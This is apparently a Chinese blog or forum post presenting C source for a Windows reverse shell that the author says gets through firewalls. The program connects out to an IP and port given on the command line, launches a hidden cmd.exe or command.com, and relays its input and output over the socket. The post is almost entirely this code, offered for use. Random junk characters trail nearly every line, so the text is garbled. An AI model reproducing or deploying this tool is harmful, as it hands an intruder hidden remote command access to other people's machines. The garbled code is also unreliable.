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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2Hx*kh2  
@>~S$nw/  
/* ============================== P| ?nx"c  
Rebound port in Windows NT sA: /!9  
By wind,2006/7 2uY:p=DxG9  
===============================*/ ?wmu 0rR  
#include !IC .0I`  
#include &1=,?s]&  
SI%J+Y7  
#pragma comment(lib,"wsock32.lib") ,g?M[(wtc  
V_v+i c^  
void OutputShell(); F$JA IL{W  
SOCKET sClient; I 6<LKI/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cMy?&  
m|+zMf&  
void main(int argc,char **argv) Ebi~gGo  
{  }l]r-  
WSADATA stWsaData; ?H!&4o  
int nRet; !{uV-c-5,  
SOCKADDR_IN stSaiClient,stSaiServer; 6~s{HI!  
MfLus40;n  
if(argc != 3) 98<^!mwF  
{ ao2o!-?!t  
printf("Useage:\n\rRebound DestIP DestPort\n"); ;tD?a7  
return; 7A<}JaE!,  
} yFFNzw{  
lu1T+@t  
WSAStartup(MAKEWORD(2,2),&stWsaData); G Wj !n  
#LwDs,J:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H0.&~!,*  
u<j.XPK  
stSaiClient.sin_family = AF_INET; o1]1I9  
stSaiClient.sin_port = htons(0); n=!5ha%#N  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); V+*1?5w  
^'sOWIzeiY  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) | 8n,|%e  
{ wYHyVY2tj2  
printf("Bind Socket Failed!\n"); &hhxp1B  
return; "rQ?2?  
} @(tuE  
zfml^N  
stSaiServer.sin_family = AF_INET;  _8z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n^epC>a"b  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xU9^8,6  
h&{>4{  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~BI! l  
{ 0j 'k%R[l  
printf("Connect Error!"); 1g|6,J  
return; e=Kr>~q=  
} !{oP'8Ax$  
OutputShell(); 'DH_ihZ  
} n 8e}8.Bu  
QV%eTA  
void OutputShell() RAEiIf!3  
{ MWc{7,  
char szBuff[1024]; v#KE"m  
SECURITY_ATTRIBUTES stSecurityAttributes; W}oAgUd  
OSVERSIONINFO stOsversionInfo; C? b_E  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *:,7 A9LY  
STARTUPINFO stStartupInfo; \RTXfe-`  
char *szShell; 9hs7B!3pc>  
PROCESS_INFORMATION stProcessInformation; TqMy">>  
unsigned long lBytesRead; r+Y]S-o:  
P1QGfp0-J  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ps?B;P  
/F @a@m|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uI[lrMQYa  
stSecurityAttributes.lpSecurityDescriptor = 0; j6)@kW9x  
stSecurityAttributes.bInheritHandle = TRUE; "PPn^{bYm  
30/(  
Wj. _{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T\Q)"GB  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w-MnJ(r  
Y3I+TI>x  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g8w5X!Z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Wk!mGc  
stStartupInfo.wShowWindow = SW_HIDE; e c`3Qw  
stStartupInfo.hStdInput = hReadPipe; qu/59D  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $ V"7UA22  
8>K2[cPD  
GetVersionEx(&stOsversionInfo); w_i$/`i+  
_nj?au(@`Y  
switch(stOsversionInfo.dwPlatformId) 'rdg  
{ {*%'vVv+  
case 1: R:v`\  
szShell = "command.com"; s&$Zgf6Z  
break; aKC3T-  
default: hU `H\LE  
szShell = "cmd.exe"; ? <slB>8  
break; q-}J0vu\K  
} u]ZCYJ>  
'?k*wEu  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D|n`9yv a  
d+fi g{<b  
send(sClient,szMsg,77,0); _>*$%R  
while(1) A:ef}OCL  
{ '5eW"HGU]`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j=d@Ih*  
if(lBytesRead) R28h%KN  
{ cQUmcK/,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sEL[d2oO  
send(sClient,szBuff,lBytesRead,0); 6?ylSQ]1  
} j4Cad  
else 7{X I^I:n  
{ 810u +%fu  
lBytesRead=recv(sClient,szBuff,1024,0); 3%xj-7z W  
if(lBytesRead<=0) break; e ?H`p"l  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1NT@}j~/  
} (3"V5r`*;  
} Xi1/wbC  
Ohnd:8E  
return; eEQ 4L\d  
}
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